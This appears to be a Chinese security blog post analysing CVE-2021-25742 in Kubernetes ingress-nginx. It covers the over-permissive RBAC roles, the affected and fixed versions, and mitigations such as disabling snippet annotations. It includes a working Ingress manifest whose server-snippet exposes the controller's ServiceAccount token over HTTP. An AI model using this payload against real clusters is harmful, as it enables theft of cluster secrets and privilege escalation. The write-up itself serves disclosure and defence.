jeffreygc
- 关注
本文仅用于学习研究为目的,禁止用于任何非法目的,否则后果自负
漏洞背景
近日k8s社区公布了安全漏洞CVE-2021-25742。在多租场景下,此漏洞允许攻击者可以通过修改ingress实例中的snippets获得全局的secrets。本文介绍该漏洞的影响和影响范围,以及防范措施。关于漏洞详情请参见 #7837。
CVE-2021-25742漏洞被评估为高危漏洞,在CVSS的评分为7.6。
漏洞分析与复现
漏洞分析
本漏洞的根源在于创建nginx-ingress
时,为其分配的RBAC
权限过大,导致拥有创建或者修改ingress实例的用户,能够利用获取到的nginx-ingress
Pod
的ServiceAccount
的认证token
,获取集群全局的configmap
和secrets
。创建nginx-ingress
的Yaml
配置如下:
---
# Source: ingress-nginx/templates/clusterrole.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
labels:
helm.sh/chart: ingress-nginx-4.0.6
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/version: 1.0.4
app.kubernetes.io/managed-by: Helm
name: ingress-nginx
rules:
- apiGroups:
- ''
resources:
- configmaps
- endpoints
- nodes
- pods
- secrets
verbs:
- list
- watch
- apiGroups:
- ''
resources:
- nodes
verbs:
- get
- apiGroups:
- ''
resources:
- services
verbs:
- get
- list
- watch
- apiGroups:
- networking.k8s.io
resources:
- ingresses
verbs:
- get
- list
- watch
- apiGroups:
- ''
resources:
- events
verbs:
- create
- patch
- apiGroups:
- networking.k8s.io
resources:
- ingresses/status
verbs:
- update
- apiGroups:
- networking.k8s.io
resources:
- ingressclasses
verbs:
- get
- list
- watch
---
---
# Source: ingress-nginx/templates/controller-role.yaml
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
labels:
helm.sh/chart: ingress-nginx-4.0.6
app.kubernetes.io/name: ingress-nginx
app.kubernetes.io/instance: ingress-nginx
app.kubernetes.io/version: 1.0.4
app.kubernetes.io/managed-by: Helm
app.kubernetes.io/component: controller
name: ingress-nginx
namespace: ingress-nginx
rules:
- apiGroups:
- ''
resources:
- namespaces
verbs:
- get
- apiGroups:
- ''
resources:
- configmaps
- pods
- secrets
- endpoints
verbs:
- get
- list
- watch
- apiGroups:
- ''
resources:
- services
verbs:
- get
- list
- watch
- apiGroups:
- networking.k8s.io
resources:
- ingresses
verbs:
- get
- list
- watch
- apiGroups:
- networking.k8s.io
resources:
- ingresses/status
verbs:
- update
- apiGroups:
- networking.k8s.io
resources:
- ingressclasses
verbs:
- get
- list
- watch
- apiGroups:
- ''
resources:
- configmaps
resourceNames:
- ingress-controller-leader
verbs:
- get
- update
- apiGroups:
- ''
resources:
- configmaps
verbs:
- create
- apiGroups:
- ''
resources:
- events
verbs:
- create
- patch
---
漏洞复现
kubernetes 创建出来的nginx-ingress
, 默认开启了allow-snippet-annotations
, 在配置中,snippnet
使用的位置有
[server-snippet]
(https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#server-snippet)
[configuration-snippet]
(https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/annotations/#configuration-snippet)
[auth-snippet]
(https://github.com/kubernetes/ingress-nginx/blob/main/docs/user-guide/nginx-configuration/annotations.md#external-authentication)
[modsecurity-snippet]
(https://github.com/kubernetes/ingress-nginx/blob/main/docs/user-guide/nginx-configuration/annotations.md#modsecurity)
snippet
的功能就是 把snippet
里面的东西放到nginx.conf
中. 自定义一段snippet
通过以下的payload
, 修改nginx.conf
, 访问/security/
就可以看到分配给Ingress Pod
的ServiceAccount
的认证token
.
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
name: test
labels:
run: my-nginx
annotations:
nginx.ingress.kubernetes.io/backend-protocol: "HTTPS"
nginx.ingress.kubernetes.io/server-snippet: |
location /security/ {
autoindex on;
alias /var/run/secrets/kubernetes.io/serviceaccount/;
}
spec:
rules:
- host: feiutest.cn
- http:
paths:
- pathType: Prefix
path: "/test"
backend:
service:
name: kubernetes
port:
number: 443
tls:
- hosts:
- feiutest.cn
secretName: nginxsecret
同样的, 访问443
端口即可连接到kubernetes的控制系统. 通过上面获取到的token
, 就可以获取集群中所有的secrets
。
漏洞补丁
增加了让用户主动禁止snippnet
的功能字段allowSnippetAnnotations
:
https://github.com/kubernetes/ingress-nginx/compare/controller-v0.49.0...controller-v0.49.1
影响范围
以下枚举的ingress-nginx组件均在该漏洞影响范围内:
- v1.0.0
- ≤v0.49.0
Kubernetes社区在以下版本的ingress-nginx组件中修复了该漏洞:
- v1.0.1
- v0.49.1
漏洞缓解和修复措施
缓解措施:
为了缓解此漏洞:
- 升级到缓解版本;(>= v0.49.1 或 >= v1.0.1)
- 根据您部署
ingress-nginx
的方式,在您的ingress-nginx
ConfigMap
中将allow-snippet-annotations
设置为false
:
通过静态文件部署
编辑ingress-nginx
的ConfigMap
:
kubectl edit configmap -n ingress-nginx ingress-nginx-controller
添加如下配置:
data:
allow-snippet-annotations: “false”
通过 Helm 部署
在values.yaml
中将controller.allowSnippetAnnotations
设置为false
或将指令添加到helm
部署之中:
helm install [RELEASE_NAME] --set controller.allowSnippetAnnotations=false ingress-nginx/ingress-nginx
修改Values.yaml文件请参见:
思考:漏洞根源是RBAC权限不对,修复方案只是限制了snippets
功能,其他nginx-ingress
字段是否能够继续利用
参考文献
1、https://kubernetes.github.io/ingress-nginx/deploy/#aws
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)